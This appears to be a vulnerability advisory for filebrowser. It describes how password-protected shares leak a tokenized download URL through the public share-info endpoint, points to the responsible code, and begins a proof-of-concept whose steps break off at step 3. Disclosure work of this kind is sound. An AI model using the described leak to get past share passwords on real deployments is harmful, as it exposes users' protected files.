Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.  \n\n\n### Details\nThe issue stems from two flaws:\n1. Tokenized download URLs are written into the persistent share model\n```\nbackend/http/share.go\nconvertToFrontendShareResponse(line 63)\ns.DownloadURL = getShareURL(r, s.Hash, true, s.Token)\n```\n2. The public endpoint:\n```\nGET /public/api/share/info\nreturns shareLink.CommonShare without clearing DownloadURL.\n```\n\nSince Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.\n\nThe previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL\n\n\n### PoC\n1. Create a password protected share as an authenticated user \n\n2. Copy the public share URL (the clipboard WITHOUT an arrow)  \n    `http://yourdomain/public/share/yoursharedhash`  \n    Example:   \n    `http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw`  \n\n3.
